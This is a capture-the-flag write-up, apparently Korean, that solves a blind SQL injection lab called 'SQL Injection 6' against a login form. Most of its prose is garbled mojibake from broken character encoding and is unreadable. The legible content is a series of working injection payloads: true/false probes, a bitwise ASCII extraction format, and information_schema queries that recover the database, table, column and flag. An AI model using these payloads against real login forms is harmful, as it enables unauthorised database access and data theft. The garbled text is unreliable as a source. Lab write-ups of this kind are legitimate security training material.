[SegFault] (SQLi) - SQL Injection 6
[SegFault] (SQLi)
SQL Injection 6
Flag Find
๋ฌธ์ ํ์
์์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด ์๋๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ์ฃผ์ด์ง ๊ณ์ ์ ๋ณด๋ก ๋ก๊ทธ์ธ ํด๋ณด์.
๊ณ์ ์ ๋ณด : normaltic / 1234
๋ก๊ทธ์ธ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๋ก ๋์ด๊ฐ๋ค.
๋ก๊ทธ์ธ ํ์ ๋ดค์๋ ๋ฑํ ์ ๋ ฅ ๋ถ๋ถ์ด ๋ณด์ด์ง ์๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ก๊ทธ์ธ ์ฐฝ์์ SQL Injection์ด ๊ฐ๋ฅํ์ง ํ์ธํด๋ณด์.
SQL Injection ๊ฐ๋ฅ ์ฌ๋ถ
'and'1'='1 ์ ๋ฃ์ด์ค ์ํ๋ก๋ ์ ์ ๋์ํ๋์ง ํ์ธํ๋ค.
normaltic'and'1'='1 / 1234
์์ id / pw๋ก๋ ๋ก๊ทธ์ธ ๋๋์ง ํ์ธํ ๊ฒฐ๊ณผ ์ ์์ ์ผ๋ก ๋ก๊ทธ์ธ๋๋ ๊ฒ์ ํ์ธํ๋ค.
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ์๋ฌ ๋ฉ์์ง๊ฐ ๋ ธ์ถ๋๋ ๊ฒ๋ ์๋์๊ณ , ์๋ชป๋ ์ ๋ ฅ์ ๊ฒฝ์ฐ์ ํํ์ฌ Incorrect Information์ด๋ผ๋ ์๋ฆผ์ด ๋์ฌ ๋ฟ์ด์๋ค.
์ด๋ฐ ๊ฒฝ์ฐ์๋ Blind SQL Injection ์งํ ์ ์ฐจ(Process)์ ๋ฐ๋ผ ์งํํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. SQL Injection Point ์ฐพ๊ธฐ
Blind SQL Injection์ ๊ฒฝ์ฐ, ์ฐธ๊ณผ ๊ฑฐ์ง์ ๊ฒฐ๊ณผ๊ฐ ๋๋ค ์ฐพ์์ ธ์ผํ๊ณ , ์๋ก ๋ฌ๋ผ์ผํ๋ค.
์ฆ, ์ฐธ์ ์ฐธ์ด๋ผ๋ ๊ฒฐ๊ณผ๊ฐ, ๊ฑฐ์ง์ ๊ฑฐ์ง์ด๋ผ๋ ๊ฒฐ๊ณผ๊ฐ ๊ฐ๊ฐ ๋์์ผํ๋ค๋ ๊ฒ์ด๋ค.
์์์ ์ฐธ์ธ ๊ฐ์ ๋ํ์ฌ๋ ํ์ธํ์์ง๋ง Burp๋ก ๋ค์ ํ์ธํด๋ณธ๋ค.
normaltic'and'1'='1 / 1234
์์ ๊ฐ์ด ์ ๋ ฅํ๊ณ Incorrect๋ฅผ ๊ฒ์ํ ๊ฒฐ๊ณผ 0 matches ๊ฐ ๋์จ๋ค.
๊ฑฐ์ง์ธ ๊ฐ์ ๋ํ์ฌ๋ 'and'1'='2์ ๊ฐ์ด ๊ฑฐ์ง์ธ ๊ฐ์ ๋ถ์ฌ ๋ฃ์ฐ์ฃผ๊ณ ํ์ธํ๋ค.
normaltic' and '1'='2
๊ฑฐ์ง์ ๋ํ ๊ฒฐ๊ณผ๋ก ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ๊ณ ๋ฉ์์ง๊ฐ ๋จ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
Burp ๋ก ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
Incorrect๋ฅผ ๊ฒ์ํ๋ ๊ฒฐ๊ณผ ๊ฑฐ์ง์ธ ๊ฐ์ด๋ฏ๋ก Incorrect Information์ด ๊ฒ์๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
2. SELECT ๋ฌธ๊ตฌ๊ฐ ๊ฐ๋ฅํ์ง ํ์ธํ๊ธฐ
normaltic' and ((select 'test') = 'test') and '1'='1
์์ ๊ฐ์ ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ ํด๋น ๊ฐ์ด ์ฐธ์ธ์ง ํ์ธํ์ฌ SELECT ๋ฌธ์ ์ฝ์ ํด๋ ๋ฌธ์ ๊ฐ ์๋์ง ํ์ธํ๋ค.
์ฑ๊ณต์ ์ผ๋ก ๋ก๊ทธ์ธ๋๋ฏ๋ก SELECT๋ฌธ์ด ์ฝ์ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
3. ๊ณต๊ฒฉ Format ์์ฑํ๊ธฐ
Blind SQL Injection์ ๊ณต๊ฒฉ Format์ 2๊ฐ์ง ๋ฐฉ์์ ์๊ฐํด ๋ณผ ์ ์๋ค.
์ด์ง ํ์ ๊ธฐ๋ฐ
normaltic' and (ascii(substr((__SQL__),๋ฌธ์ ์์น,1)) > ASCII ๊ฐ) and '1'='1
ASCII ๊ฐ ์์ฒด๋ฅผ ๋ฃ์ด์ ๋น๊ตํ๋ค.
๋ ผ๋ฆฌ ์ฐ์ฐ ๊ธฐ๋ฐ
normaltic' and ascii(substr((__SQL__,๋ฌธ์ ์์น,1))&n=n#
๋ ผ๋ฆฌ ์ฐ์ฐ์ ํตํด n = 1, 2, 4, 8, 16, 32, 64 ์ ๋ํ ๊ฐ(์ด์ง ๊ฐ)์ ๊ฐ๊ฐ ํ์ธํ๊ณ ์ฐธ์ธ ๊ฐ์ ๋ํ ํฉ์ ๊ฒฐ๊ณผ๋ฅผ ๋์ถํ๋ค.
๋ณธ ๋ฌธ์ ์์๋ ๋ ผ๋ฆฌ์ฐ์ฐ ๋ฐฉ์์ ์ด์ฉํ ๊ฒ์ด๋ค.
(๋ฌธ์ ์์น๋ 1๋ถํฐ)
4. DB ์ด๋ฆ ํ์ธํ๊ธฐ
1,2,16,32,64 = 115 → s
1,16,32,64 = 113 → q
4,8,32,64 = 108 → l
1,8,32,64 = 105 → i
1,2,4,8,16,64 = 95 → _
1,2,16,32 = 51 → 3
0 → NULL
DB์ ์ด๋ฆ์ sqli_3 ๋ก ํ์ธ๋์๋ค.
5. Table ์ด๋ฆ ํ์ธํ๊ธฐ
TABLE ์ด๋ฆ์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1
์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ํ์ธํด๋ณธ๋ค.
normaltic' and ascii(substr((select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1),1,1))&1=1#
์ฌ๊ธฐ๋ถํฐ๋ ๋ ธ๊ฐ๋ค์ ๊ฐ๊น์ฐ๋ฏ๋ก ๊ฐ๋ตํ ํ์ฌ ๊ฒฐ๊ณผ๋ง ์์ฑํ๋ ค ํ๋ค. ์ถํ์ python ์๋ํ ์ฝ๋๋ฅผ ์ด์ฉํ ๋ฐฉ์์ผ๋ก ์ถ๊ฐ์ ์ผ๋ก ์ ๋ฆฌํ๋๋ก ํ ๊ฒ์ด๋ค.
102 / 108 / 97 / 103 / 95 / 116 / 97 / 98 / 108 / 101 / 0
flag_table
6. Column ์ด๋ฆ ํ์ธํ๊ธฐ
COLUMN ์ด๋ฆ์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1
์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ํ์ธํด๋ณธ๋ค.
normaltic' and ascii(substr((select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1),1,1))&1=1#
๊ทธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
102 / 108 / 97 / 103 / 0
flag
7. Data ์ฐพ๊ธฐ
DATA ์ด๋ฆ ํ์ธ์ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select flag from flag_table limit 0,1
115 / 101 / 103 / 102 / 97 / 117 / 108 / 116 / 123 / 66 / 108 / 105 / 110 / 100 / 95 / 83 / 81 / 76 / 105 / 95 / 69 / 65 / 83 / 89 / 125 / 0
segfault{_______________}
์์ ๊ฒฐ๊ณผ ์ทจํฉ์ ํตํด flag ํ๋์ ์ฑ๊ณตํ์๋ค.
๊ฒฐ๊ณผ์ ์ผ๋ก Blind SQLi ๋ฅผ ํตํด flag ํ๋์ ์ฑ๊ณตํ์๋ค.
์๊ฐํด๋ณผ ์
Union SQLi ์ Error Based SQLi์ ๊ฒฝ์ฐ ํ๋ฉด์ ํด๋น ๊ฐ์ด ๋ ธ์ถ๋์ด ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
ํ์ง๋ง Blind SQLi์ ๊ฒฝ์ฐ ์ฐธ / ๊ฑฐ์ง์ ํตํ์ฌ ๊ฐ์ ํ์ธํ ์๋ ์์ง๋ง, ์ค์ ๋ก ๋ ธ์ถ๋์ด ์๋ ๊ฒ์ด ์๋๊ธฐ ๋๋ฌธ์ ๋ ธ๊ฐ๋ค์ฑ์ด ์ง๋ค. ๊ทธ๋ฌ๋ฏ๋ก ๋๋์ฑ python์ ์ด์ฉํ ์๋ํ์ ํ์์ฑ์ ๋๋ผ๊ฒ ๋๋ค.
python์ ์ด์ฉํ ์๋ํ ์ฝ๋๋ฅผ ์์ฑ ํด๋ณด๊ณ ์ ๋ฆฌํ๋๋ก ํด์ผ๊ฒ ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์